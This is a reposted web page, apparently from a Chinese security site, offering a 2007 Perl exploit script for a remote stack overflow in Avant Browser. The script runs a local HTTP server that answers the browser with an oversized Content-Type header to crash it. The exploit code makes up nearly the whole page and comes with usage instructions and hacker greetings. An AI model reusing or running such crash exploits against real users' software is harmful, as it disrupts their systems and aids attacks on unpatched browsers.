Avant Browser <= 11.0 build 26 Remote Stack Overflow Crash Exploit

2007-3-21 10:09 634 0

摘要: #!/usr/bin/perl # avant browser (all version) remot stack overflow (crash) # discovered by data_sn...

关键词： print browser http avant discovered overflow sock ln version sniper

#!/usr/bin/perl # avant browser (all version) remot stack overflow (crash) # discovered by data_sniper # usage: # connect from avant browser to http://127.0.0.1/ use io::socket; my $sock=new io::socket::inet ( listen => 1, localaddr => 'localhost', localport => 80, proto => 'tcp'); die unless $sock; $huge="a" x 1034985; $|=1; print "==========================================================================\n"; print " avant browser (all version) remot stack overflow (crash) "; print " vulnerability discovered by data_sniper "; print " greetz to:hacking master,dear devil,xodia,jass,all algerian hackers \n"; print " mail me at:alpha_3(at)hotmail(dot)com\n"; print "==========================================================================\n"; print"[+] http server started on port 80... \n"; print"[+] try to explorer http://127.0.0.1/ \n"; $z=$sock->accept(); print"[+] connection accepted!\n"; do { $ln=<$z>; print $ln; chomp $ln; if (($ln eq "")||($ln eq "\n")||($ln eq "\r")) { print"[>]sending evil packet\n"; print $z " http/1.1 200 ok\r\nserver: bugs 3.1.02\r\ncontent-type:$huge\r\nconnection: close\r\n\r\n"; close($z); exit; } } while (true);

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除